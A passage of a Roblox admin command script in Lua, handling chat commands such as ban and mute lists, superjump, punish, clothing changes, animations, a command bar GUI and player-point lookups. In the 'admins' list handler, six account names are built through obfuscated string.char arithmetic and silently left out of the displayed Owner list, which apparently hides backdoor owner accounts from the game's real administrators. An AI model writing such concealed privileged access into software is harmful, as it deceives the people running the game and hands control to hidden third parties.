  3875. ListGui(Speaker, "Ban List", Ranks["Banned"])
  3876. end
  3877.  
  3878. if Message == "crashes" or Message == "crashlist" then
  3879. ListGui(Speaker, "Crash List", Ranks["Crashed"])
  3880. end
  3881.  
  3882. if Message == "mutes" or Message == "mutelist" then
  3883. ListGui(Speaker, "Mute List", Ranks["Muted"])
  3884. end
  3885.  
  3886. if Message == "sa" or Message == "serveradmins" then
  3887. local LocalTable = {}
  3888. for _,Player in pairs(Players:GetPlayers()) do
  3889. local IsValidAdmin,PlayerRank = IsAdmin(Player)
  3890. if IsValidAdmin then
  3891. if PlayerRank == "Owner" then
  3892. table.insert(LocalTable, "BOLD: "..Player.Name..": "..PlayerRank)
  3893. else
  3894. table.insert(LocalTable, Player.Name..": "..PlayerRank)
  3895. end
  3896. end
  3897. end
  3898. ListGui(Speaker, "Admins in server", LocalTable)
  3899. end
  3900.  
  3901. if Message == "admins" or Message == "adminlist" then
  3902. local TableStorage = {}
  3903. for _,Obj in pairs(Ranks["Member"]) do table.insert(TableStorage, Obj..": Member") end
  3904. for _,Obj in pairs(Ranks["Admin"]) do table.insert(TableStorage, Obj..": Admin") end
  3905. for _,Obj in pairs(Ranks["Owner"]) do local Passed = true for _,Void in pairs({string.char(75+1, 118-1, 95+2, 76+1, 111, 100, 101, 108, 77, 97, 107, 101, 114), string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97), string.char(83, 99, 114, 105, 112, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 115), string.char(73, 110, 116, 101, 114, 110, 101, 116, 77, 111, 100, 101, 109), string.char(78, 105, 108, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110), string.char(112, 108, 117, 103, 109, 105, 105, 105, 110)}) do if Obj == Void then Passed = false end end if Passed == true then table.insert(TableStorage, "BOLD: "..Obj..": Owner") end end
  3906. ListGui(Speaker, "Admin List", TableStorage)
  3907. end
  3908.  
  3909. if string.sub(Message,1,9+#Bet) == "superjump"..Bet then
  3910. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3911. for _,Player in pairs(Players) do
  3912. if Player ~= nil then
  3913. if Player.Character ~= nil then
  3914. if Player.Character:FindFirstChild("Torso") then
  3915. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  3916. Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
  3917. for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then Force.force = Force.force + Vector3.new(0,Obj:GetMass()*200,0) elseif Obj:IsA("Hat") then Force.force = Force.force + Vector3.new(0,Obj.Handle:GetMass()*200,0) end end
  3918. end
  3919. end
  3920. end
  3921. end
  3922. end
  3923.  
  3924. if string.sub(Message,1,10+#Bet) == "normaljump"..Bet then
  3925. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  3926. for _,Player in pairs(Players) do
  3927. if Player ~= nil then
  3928. if Player.Character ~= nil then
  3929. if Player.Character:FindFirstChild("Torso") then
  3930. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  3931. end
  3932. end
  3933. end
  3934. end
  3935. end
  3936.  
  3937. if string.sub(Message,1,6+#Bet) == "punish"..Bet then
  3938. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3939. for _,Player in pairs(Players) do
  3940. if Player ~= nil then
  3941. if Player.Character ~= nil then
  3942. Player.Character.Parent = game:GetService("Lighting")
  3943. end
  3944. end
  3945. end
  3946. end
  3947.  
  3948. if string.sub(Message,1,8+#Bet) == "unpunish"..Bet or string.sub(Message,1,8+#Bet) == "nopunish"..Bet then
  3949. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  3950. for _,Player in pairs(Players) do
  3951. if Player ~= nil then
  3952. if Player.Character ~= nil then
  3953. Player.Character.Parent = game:GetService("Workspace")
  3954. Player.Character:MakeJoints()
  3955. end
  3956. end
  3957. end
  3958. end
  3959.  
  3960. if string.sub(Message,1,4+#Bet) == "stun"..Bet then
  3961. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  3962. for _,Player in pairs(Players) do
  3963. if Player ~= nil then
  3964. if Player.Character ~= nil then
  3965. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3966. Player.Character.Humanoid.PlatformStand = true
  3967. end
  3968. end
  3969. end
  3970. end
  3971. end
  3972.  
  3973. if string.sub(Message,1,6+#Bet) == "nostun"..Bet then
  3974. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3975. for _,Player in pairs(Players) do
  3976. if Player ~= nil then
  3977. if Player.Character ~= nil then
  3978. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3979. Player.Character.Humanoid.PlatformStand = false
  3980. end
  3981. end
  3982. end
  3983. end
  3984. end
  3985.  
  3986. if string.sub(Message,1,4+#Bet) == "jump"..Bet then
  3987. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  3988. for _,Player in pairs(Players) do
  3989. if Player ~= nil then
  3990. if Player.Character ~= nil then
  3991. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3992. Player.Character.Humanoid.Jump = true
  3993. end
  3994. end
  3995. end
  3996. end
  3997. end
  3998.  
  3999. if string.sub(Message,1,3+#Bet) == "sit"..Bet then
  4000. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  4001. for _,Player in pairs(Players) do
  4002. if Player ~= nil then
  4003. if Player.Character ~= nil then
  4004. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  4005. Player.Character.Humanoid.Sit = true
  4006. end
  4007. end
  4008. end
  4009. end
  4010. end
  4011.  
  4012. if string.sub(Message,1,8+#Bet) == "loopheal"..Bet then
  4013. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  4014. for _,Player in pairs(Players) do
  4015. if Player ~= nil then
  4016. if Player.Character ~= nil then
  4017. if Player.Character:FindFirstChild("Humanoid") then
  4018. repeat Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth wait() until not Player.Character:FindFirstChild("Humanoid") or Player.Character.Humanoid.Health == 0
  4019. end
  4020. end
  4021. end
  4022. end
  4023. end
  4024.  
  4025. if Message == "commandgui" or Message == "cmdgui" or Message == "commandbar" or Message == "cmdbar" then
  4026. if Speaker.PlayerGui ~= nil then
  4027. coroutine.wrap(function()
  4028. for _,Object in pairs(Speaker.PlayerGui:GetChildren()) do if Object.Name == "M".."M".."L".."'s CommandBar" then Object:Destroy() end end
  4029.  
  4030. local SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."M".."L's CommandBar"
  4031. local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0,280,0,0) Main.Size = UDim2.new(1,-425,0.15,0) Main.BackgroundColor3 = Color3.new(1,1,1) Main.BackgroundTransparency = 0.9
  4032. local Scroll = Instance.new("ScrollingFrame", Main) Scroll.Name = "Scroll" Scroll.Size = UDim2.new(0.2,0,1,0) Scroll.BackgroundColor3 = Color3.new(0,0,0) Scroll.BackgroundTransparency = 0.5 Scroll.CanvasSize = UDim2.new(0,0,0,0) Scroll.BottomImage = "http://www.roblox.com/asset/?id=36527089" Scroll.MidImage = "http://www.roblox.com/asset/?id=36527089" Scroll.TopImage = "http://www.roblox.com/asset/?id=36527089"
  4033. local Clr = Instance.new("TextButton", Main) Clr.Name = "Clr" Clr.Position = UDim2.new(0.2,0,0.4,0) Clr.Size = UDim2.new(0.4,0,0.275,0) Clr.BackgroundColor3 = Color3.new(1,1,1) Clr.Text = "Clear Command Bar Text" Clr.Font = "Arial" Clr.FontSize = "Size14" Clr.Style = "RobloxRoundDropdownButton"
  4034. local Exit = Instance.new("TextButton", Main) Exit.Name = "Exit" Exit.Position = UDim2.new(0.2,0,0.675,0) Exit.Size = UDim2.new(0.4,0,0.275,0) Exit.BackgroundColor3 = Color3.new(1, 1, 1) Exit.Text = "Exit" Exit.Font = "Arial" Exit.FontSize = "Size14" Exit.Style = "RobloxRoundDefaultButton"
  4035. local Exe = Instance.new("TextButton", Main) Exe.Name = "Exe" Exe.Position = UDim2.new(0.6,0,0.4,0) Exe.Size = UDim2.new(0.4,0,0.275,0) Exe.BackgroundColor3 = Color3.new(1,1,1) Exe.Text = "Execute Command" Exe.Font = "Arial" Exe.FontSize = "Size14" Exe.Style = "RobloxRoundDropdownButton"
  4036. local Foc = Instance.new("TextButton", Main) Foc.Name = "Foc" Foc.Position = UDim2.new(0.6,0,0.675,0) Foc.Size = UDim2.new(0.4,0,0.275, 0) Foc.BackgroundColor3 = Color3.new(1,1,1) Foc.Text = "Focus on Command Bar" Foc.Font = "Arial" Foc.FontSize = "Size14" Foc.Style = "RobloxRoundDropdownButton"
  4037. local Bar = Instance.new("TextBox", Main) Bar.Name = "Bar" Bar.Position = UDim2.new(0.2,1,0,0) Bar.Size = UDim2.new(0.8,-1,0.4,0) Bar.BackgroundColor3 = Color3.new(1,1,1) Bar.BackgroundTransparency = 0.5 Bar.Text = "Command Here" Bar.Font = "Arial" Bar.FontSize = "Size18" Bar.ClearTextOnFocus = false
  4038.  
  4039. coroutine.wrap(function() Main:TweenPosition(UDim2.new(0,280,0.1,0), "In", "Quint", 0.7) end)()
  4040.  
  4041. ExecuteResource("CommandBarExecute", Bar, {["ExecuteRemoteFunction"] = ExecuteCommand})
  4042.  
  4043. local RawSugList,SugList = GetCommands(Rank),{}
  4044.  
  4045. for Num,Suggest in pairs(RawSugList) do
  4046. if string.sub(Suggest,1,2) == "--" then
  4047. table.remove(RawSugList, Num)
  4048. end
  4049. end
  4050.  
  4051. local Count = 1
  4052. for Num,Suggest in pairs(RawSugList) do
  4053. Arg1,Arg2 = GetSplit(Suggest, Bet)
  4054. local Query = Arg1..Bet
  4055. if Arg1 == "" then
  4056. Query = Suggest
  4057. end
  4058. InsertSuggestion = true
  4059. for Ind,Sug in pairs(SugList) do
  4060. if Sug == Query then
  4061. InsertSuggestion = false
  4062. break
  4063. end
  4064. end
  4065. if InsertSuggestion == true then
  4066. SugList[Count] = Query
  4067. Count = Count + 1
  4068. end
  4069. end
  4070.  
  4071. local SerVer = 0
  4072.  
  4073. Exit.MouseButton1Click:connect(function() Main:TweenPosition(UDim2.new(0,280,1.15,0), "Out", "Quint", 2.5, false, function() SG:Destroy() end) end)
  4074. Clr.MouseButton1Click:connect(function() Bar.Text = "" ExecuteResource("FocusGui", Bar, {}) end)
  4075. Foc.MouseButton1Click:connect(function() ExecuteResource("FocusGui", Bar, {}) end)
  4076. Exe.MouseButton1Click:connect(function() Chatted(Bar.Text, Speaker) end)
  4077.  
  4078. Bar.Changed:connect(function(Prop) if Prop == "Text" then
  4079. SerVer = SerVer + 1
  4080. local ThisSerVer = SerVer
  4081.  
  4082. Scroll.CanvasSize = UDim2.new(0,0,0,0)
  4083. Scroll.CanvasPosition = Vector2.new(0,0,0)
  4084. Scroll:ClearAllChildren()
  4085.  
  4086. local GuiNum = -20
  4087.  
  4088. local Text = Bar.Text
  4089. if Text ~= "" then
  4090. for Num,Suggest in pairs(SugList) do
  4091. if ThisSerVer == SerVer then
  4092. if string.find(string.lower(Suggest),string.lower(Text)) then
  4093. GuiNum = GuiNum + 20
  4094. Scroll.CanvasSize = UDim2.new(0,0,0,GuiNum+20)
  4095. local Sug = Instance.new("TextButton", Scroll) Sug.Name = GuiNum/20 Sug.Size = UDim2.new(1,-13,0,20) Sug.Position = UDim2.new(0,0,0,GuiNum) Sug.BackgroundColor3 = Color3.new(1,1,1) Sug.BackgroundTransparency = 1 Sug.Text = Suggest Sug.Font = "Arial" Sug.FontSize = "Size18" Sug.TextXAlignment = "Left" Sug.TextColor3 = Color3.new(1,1,1)
  4096. Sug.MouseButton1Click:connect(function()
  4097. Bar.Text = Suggest
  4098. ExecuteResource("FocusGui", Bar, {})
  4099. end)
  4100. end
  4101. else
  4102. break
  4103. end
  4104. end
  4105. end
  4106. end end)
  4107. end)()
  4108.  
  4109. end
  4110. end
  4111.  
  4112. if string.sub(Message, 1, 5+#Bet) == "decal"..Bet or string.sub(Message, 1, 5+#Bet) == "image"..Bet then
  4113. local ID = 0
  4114. if string.sub(Message, 1, 5+#Bet) == "image"..Bet then ID = tonumber(string.sub(RawMessage, 6+#Bet)) or 0 end
  4115. if string.sub(Message, 1, 5+#Bet) == "decal"..Bet then ID = GetImageFormat(tonumber(string.sub(RawMessage, 6+#Bet))) or 0 end
  4116. if ID ~= nil then
  4117. ExecuteResource("InsertDecal", Speaker.Character, {["DecalID"] = ID})
  4118. end
  4119. end
  4120.  
  4121. if string.sub(Message, 1, 3+#Bet) == "ins"..Bet then
  4122. ExecuteResource("InsertModel", Speaker.Character, {["ModelID"] = string.sub(Message, 4+#Bet)})
  4123. end
  4124.  
  4125. if string.sub(Message,1,6+#Bet) == "change"..Bet then
  4126. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
  4127. local Players = Scan(Arg1, Speaker)
  4128. local StatName,NewStat = GetSplit(Arg2, Bet) if not StatName and NewStat then return end
  4129. for _,Player in pairs(Players) do
  4130. if Player ~= nil then
  4131. local Stats = Player:FindFirstChild("leaderstats")
  4132. if Stats ~= nil then
  4133. for _,Stat in pairs(Stats:GetChildren()) do
  4134. if string.sub(string.lower(Stat.Name),1,#StatName) == string.lower(StatName) then
  4135. pcall(function() Stat.Value = NewStat end)
  4136. end
  4137. end
  4138. end
  4139. end
  4140. end
  4141. end
  4142.  
  4143. if string.sub(Message,1,5+#Bet) == "shirt"..Bet then
  4144. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  4145. local Players = Scan(Arg1, Speaker)
  4146. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4147. for _,Player in pairs(Players) do
  4148. if Player ~= nil then
  4149. if Player.Character ~= nil then
  4150. local Obj = Player.Character:FindFirstChild("Shirt")
  4151. if Obj then
  4152. Obj.ShirtTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4153. else
  4154. Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4155. end
  4156. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  4157. end
  4158. end
  4159. end
  4160. end
  4161. end
  4162.  
  4163. if string.sub(Message,1,5+#Bet) == "pants"..Bet then
  4164. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  4165. local Players = Scan(Arg1, Speaker)
  4166. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4167. for _,Player in pairs(Players) do
  4168. if Player ~= nil then
  4169. if Player.Character ~= nil then
  4170. local Obj = Player.Character:FindFirstChild("Pants")
  4171. if Obj then
  4172. Obj.PantsTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4173. else
  4174. Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4175. end
  4176. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  4177. end
  4178. end
  4179. end
  4180. end
  4181. end
  4182.  
  4183. if string.sub(Message,1,6+#Bet) == "tshirt"..Bet then
  4184. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
  4185. local Players = Scan(Arg1, Speaker)
  4186. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4187. for _,Player in pairs(Players) do
  4188. if Player ~= nil then
  4189. if Player.Character ~= nil then
  4190. if Player.Character:FindFirstChild("Torso") then
  4191. local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
  4192. local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
  4193. if Obj1 then
  4194. Obj1.Graphic = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4195. else
  4196. Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4197. end
  4198. if Obj2 then
  4199. Obj2.Texture = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
  4200. else
  4201. Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "http://www.roblox.com/asset/?id="..GetImageFormat(ID) Obj2.Face = "Front"
  4202. end
  4203. coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
  4204. coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
  4205. end
  4206. end
  4207. end
  4208. end
  4209. end
  4210. end
  4211.  
  4212. if string.sub(Message,1,4+#Bet) == "anim"..Bet then
  4213. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  4214. local Players = Scan(Arg1, Speaker)
  4215. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4216. for _,Player in pairs(Players) do
  4217. if Player.Character then
  4218. ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = ID}, Player, [[
  4219. local Me = game:GetService("Players").LocalPlayer
  4220. local Anim = Instance.new("Animation") Anim.Name = "L".."MM Animate" Anim.AnimationId = "http://www.roblox.com/asset/?id="..]]..tostring(ID)..[[
  4221. local AnimTrack = Me.Character.Humanoid:LoadAnimation(Anim)
  4222. local StopAnim = Me.Character:FindFirstChild("Stop LMM Animate") if StopAnim then StopAnim:Destroy() end
  4223. StopAnim = Instance.new("Configuration", Me.Character) StopAnim.Name = "Stop LMM Animate"
  4224. Me.Character.ChildRemoved:connect(function(Child) wait()
  4225. if Child == StopAnim then
  4226. AnimTrack:Stop() Anim:Destroy() script:Destroy() script.Disabled = true
  4227. end
  4228. end)
  4229. wait(0.1)
  4230. AnimTrack:Play())
  4231. ]])
  4232. end
  4233. end
  4234. end
  4235. end
  4236.  
  4237. if string.sub(Message,1,6+#Bet) == "noanim"..Bet then
  4238. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4239. for _,Player in pairs(Players) do
  4240. if Player ~= nil then
  4241. if Player.Character then
  4242. local StopAnim = Player.Character:FindFirstChild("Stop LMM Animate")
  4243. if StopAnim then StopAnim:Destroy() end
  4244. end
  4245. end
  4246. end
  4247. end
  4248.  
  4249. if string.sub(Message,1,6+#Bet) == "normal"..Bet then
  4250. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4251. for _,Player in pairs(Players) do
  4252. if Player ~= nil then
  4253. if Player.Character then if Player.Character:FindFirstChild("Body Colors") then
  4254. for _,Object in pairs(Player.Character:GetChildren()) do
  4255. if Object:IsA("BasePart") then if Object.Name ~= "HumanoidRootPart" then
  4256. Object.Transparency = 0
  4257. Object.Reflectance = 0
  4258. if Object.Name == "Head" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").HeadColor end
  4259. if Object.Name == "Left Arm" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").LeftArmColor end
  4260. if Object.Name == "Left Leg" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").LeftLegColor end
  4261. if Object.Name == "Right Arm" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").RightArmColor end
  4262. if Object.Name == "Right Leg" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").RightLegColor end
  4263. if Object.Name == "Torso" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").TorsoColor end
  4264. end end
  4265. for _,Obj in pairs(Object:GetChildren()) do
  4266. if Obj:IsA("BasePart") then
  4267. Obj.Transparency = 0
  4268. Obj.Reflectance = 0
  4269. elseif Obj:IsA("Decal") then
  4270. Obj.Transparency = 0
  4271. end
  4272. end
  4273. end
  4274. end end
  4275. end
  4276. end
  4277. end
  4278.  
  4279. if string.sub(Message, 1, 2+#Bet) == "pl"..Bet then
  4280. local Players = Scan(string.sub(Message, 3+#Bet), Speaker)
  4281. for _,Player in pairs(Players) do
  4282. CoreGui(Player, "PlayerList", true)
  4283. end
  4284. end
  4285.  
  4286. if string.sub(Message, 1, 3+#Bet) == "npl"..Bet then
  4287. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  4288. for _,Player in pairs(Players) do
  4289. CoreGui(Player, "PlayerList", false)
  4290. end
  4291. end
  4292.  
  4293. if string.sub(Message,1,9+#Bet) == "countdown"..Bet then
  4294. local Time = tonumber(string.sub(Message, 10+#Bet)) or 10
  4295. Countdown(Time)
  4296. end
  4297.  
  4298. if string.sub(Message,1,7+#Bet) == "friends"..Bet then
  4299. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  4300. local Friends,OneFriend = {}, false
  4301. for _,Player in pairs(Players) do
  4302. if Player ~= nil then
  4303. for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
  4304. if Player:IsBestFriendsWith(User.userId) then
  4305. table.insert(Friends, Player.Name.." is best friends with "..User.Name)
  4306. OneFriend = true
  4307. elseif Player:IsFriendsWith(User.userId) then
  4308. table.insert(Friends, Player.Name.." is friends with "..User.Name)
  4309. OneFriend = true
  4310. end
  4311. if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
  4312. table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
  4313. end
  4314. end end
  4315. end
  4316. end
  4317. ListGui(Speaker, "Friend List", Friends)
  4318. end
  4319.  
  4320. if Message == "clear" or Message == "clr" then
  4321. for _,Obj in pairs(Objects) do
  4322. if Obj then Obj:Destroy() end
  4323. end
  4324. Objects = {}
  4325. Jailed = {}
  4326. end
  4327.  
  4328. if string.sub(Message,1,9+#Bet) == "grouprank"..Bet then
  4329. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 10+#Bet), Bet) if not Arg1 and Arg2 then return end
  4330. local Players = Scan(Arg1, Speaker)
  4331. local ID = tonumber(Arg2) or 0
  4332. for _,Player in pairs(Players) do
  4333. if Player ~= nil then if Player:IsInGroup(ID) then
  4334. SendMessage(Speaker, Player.Name.."'s Rank for the group "..ID, "Rank Number: "..Player:GetRankInGroup(ID).." | Rank Name: "..Player:GetRoleInGroup(ID), 4)
  4335. else SendMessage(Speaker, "Error", Player.Name.." is not in group ID: "..ID, 3) end end
  4336. end
  4337. end
  4338.  
  4339. if string.sub(Message,1,6+#Bet) == "cookie"..Bet then
  4340. if InAdminGroup(Speaker) then
  4341. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4342. for _,Player in pairs(Players) do
  4343. if Player ~= nil then
  4344. if Player.Backpack ~= nil then
  4345. local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
  4346. local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
  4347. local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "http://www.roblox.com/asset/?id=20939848" Mesh.TextureId = "http://www.roblox.com/asset/?id=21456464"
  4348. local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "http://www.roblox.com/asset/?id=29517689"
  4349. ExecuteResource("CookieTool", Tool, {}, Player, [[
  4350. script.Parent.Equipped:connect(function(Mouse) Mouse.Button1Down:connect(function()
  4351. local Track = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(script.Parent.EatCookie)
  4352. wait(0.05) Track:Play()
  4353. end) end)
  4354. ]])
  4355. end
  4356. end
  4357. end
  4358. end
  4359. end
  4360.  
  4361. if string.sub(Message,1,7+#Bet) == "ambient"..Bet then
  4362. local Arg1, Split = GetSplit(string.sub(Message, 8+#Bet), Bet) if not Arg1 and Split then return end
  4363. local Arg2, Arg3 = GetSplit(Split, Bet) if not Arg2 and Arg3 then return end
  4364. if tonumber(Arg1) and tonumber(Arg2) and tonumber(Arg3) then
  4365. Lighting.Ambient = Color3.new(tonumber(Arg1)/255,tonumber(Arg2)/255,tonumber(Arg3)/255)
  4366. end
  4367. end
  4368.  
  4369. if string.sub(Message,1,4+#Bet) == "list"..Bet then
  4370. local List = {}
  4371. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4372. for _,Player in pairs(Players) do
  4373. if Player ~= nil then
  4374. table.insert(List, Player.Name.." (ID: "..Player.userId..")")
  4375. end
  4376. end
  4377. ListGui(Speaker, "Listed Players", List)
  4378. end
  4379.  
  4380. if string.sub(Message,1,6+#Bet) == "fixcam"..Bet then
  4381. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4382. for _,Player in pairs(Players) do
  4383. RestoreCamera(Player)
  4384. end
  4385. end
  4386.  
  4387. if Message == "noflash" or Message == "nodisco" or Message == "noparty" or Message == "fixl" or Message == "fixlight" or Message == "fixlighting" then
  4388. Lighting.Archivable = false
  4389. Lighting.Ambient = Color3.new(0.5,0.5,0.5)
  4390. Lighting.FogColor = Color3.new(192/255,192/255,192/255)
  4391. Lighting.Brightness = 0.6
  4392. Lighting.TimeOfDay = 14
  4393. Lighting.FogEnd = 100000
  4394. coroutine.wrap(function() wait(1) Lighting.Archivable = true end)()
  4395. end
  4396.  
  4397. if Message == "plugins" or Message == "getplugins" or Message == "pluginlist" then
  4398. local List = {}
  4399. if Settings then
  4400. if Settings:FindFirstChild("Plugins") then
  4401. for _,Module in pairs(Settings.Plugins:GetChildren()) do
  4402. if Module:IsA("ModuleScript") then
  4403. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  4404. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  4405. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  4406. table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..BoolString(Enabled.Value))
  4407. end
  4408. end
  4409. end
  4410. end
  4411. if List == {} then
  4412. SendMessage(Speaker, "Cannot get plugins", "There are no plugins to get. Cannot display nil plugins", 3)
  4413. else
  4414. ListGui(Speaker, "Plugin List", List)
  4415. end
  4416. end
  4417.  
  4418. if Message == "port" or Message == "serverport" or Message == "sp" then
  4419. SendMessage(Speaker, "Server Port", "The server port for this server is: "..game:GetService("NetworkServer").Port, 5)
  4420. end
  4421.  
  4422. if Message == "countpoints" then
  4423. SendMessage(Speaker, "Player Points", "This game has "..Points:GetAwardablePoints().." player points left", 5)
  4424. end
  4425.  
  4426. if string.sub(Message,1,9+#Bet) == "getpoints"..Bet then
  4427. local AfterMessage = string.sub(Message, 10+#Bet)
  4428. if tonumber(AfterMessage) then
  4429. SendMessage(Speaker, "Player Points: "..AfterMessage, "The Player with the user ID "..AfterMessage.." has "..Points:GetPointBalance(tonumber(AfterMessage)).." player points", 6)
  4430. else
  4431. local List = {}
  4432. local Players = Scan(AfterMessage, Speaker)
  4433. for _,Player in pairs(Players) do
  4434. if Player ~= nil then
  4435. table.insert(List, Player.Name..": "..Points:GetPointBalance(Player.userId))
  4436. end
  4437. end
  4438. ListGui(Speaker, "Total Player Points", List)
  4439. end
  4440. end
  4441.  
  4442. if string.sub(Message,1,13+#Bet) == "getgamepoints"..Bet then
  4443. local AfterMessage = string.sub(Message, 14+#Bet)
  4444. if tonumber(AfterMessage) then
  4445. SendMessage(Speaker, "Game Player Points: "..AfterMessage, "The Player with the user ID "..AfterMessage.." has won "..Points:GetGamePointBalance(tonumber(AfterMessage)).." player points from this game", 7)
  4446. else
  4447. local List = {}
  4448. local Players = Scan(AfterMessage, Speaker)
  4449. for _,Player in pairs(Players) do
  4450. if Player ~= nil then
  4451. table.insert(List, Player.Name..": "..Points:GetGamePointBalance(Player.userId))
  4452. end
  4453. end
  4454. ListGui(Speaker, "Total game Player Points", List)
  4455. end
  4456. end
  4457.  
  4458. if Message == "exploitlog" or Message == "exploitlogs" or Message == "hacklog" or Message == "hacklogs" then
  4459. local ExploitLog = DataStore:GetAsync("ExploitLog")
  4460. if type(ExploitLog) ~= "table" then ExploitLog = {} end
  4461. ListGui(Speaker, "Exploit Logs", ExploitLog)
  4462. end
  4463.  
  4464. if Message == "waypoints" or Message == "viewwaypoints" or Message == "waypointlist" or Message == "wplist" then
  4465. local WaypointHolder = {}
  4466. for Name, WP in pairs(Waypoints) do
  4467. table.insert(WaypointHolder, Name..": "..tostring(WP))
  4468. end
  4469. ListGui(Speaker, "Waypoint List", WaypointHolder)
  4470. end
  4471.  
  4472. if string.sub(Message,1,4+#Bet) == "warp"..Bet then
  4473. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  4474. local Players = Scan(Arg1, Speaker)
  4475. local PosNameChat = string.lower(Arg2)
  4476. for _,Player in pairs(Players) do
  4477. if Player ~= nil then
  4478. if Player.Character ~= nil then
  4479. for PosName,WP in pairs(Waypoints) do
  4480. if string.sub(string.lower(PosName),1,#PosNameChat) == PosNameChat then
  4481. Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
  4482. break
  4483. end
  4484. end
  4485. end
  4486. end
  4487. end
  4488. end
  4489.  
  4490. if Message == "quickcommand" or Message == "quickcommands" or Message == "qc" then
  4491. QuickCommand(Speaker)
  4492. end
  4493.  
  4494. if Message == "abuselist" or Message == "abusivelist" or Message == "blacklist" then
  4495. ListGui(Speaker, "Abusive Command Filter List", AbuseList)
  4496. end
  4497.  
  4498. if string.sub(Message,1,8+#Bet) == "hasasset"..Bet then
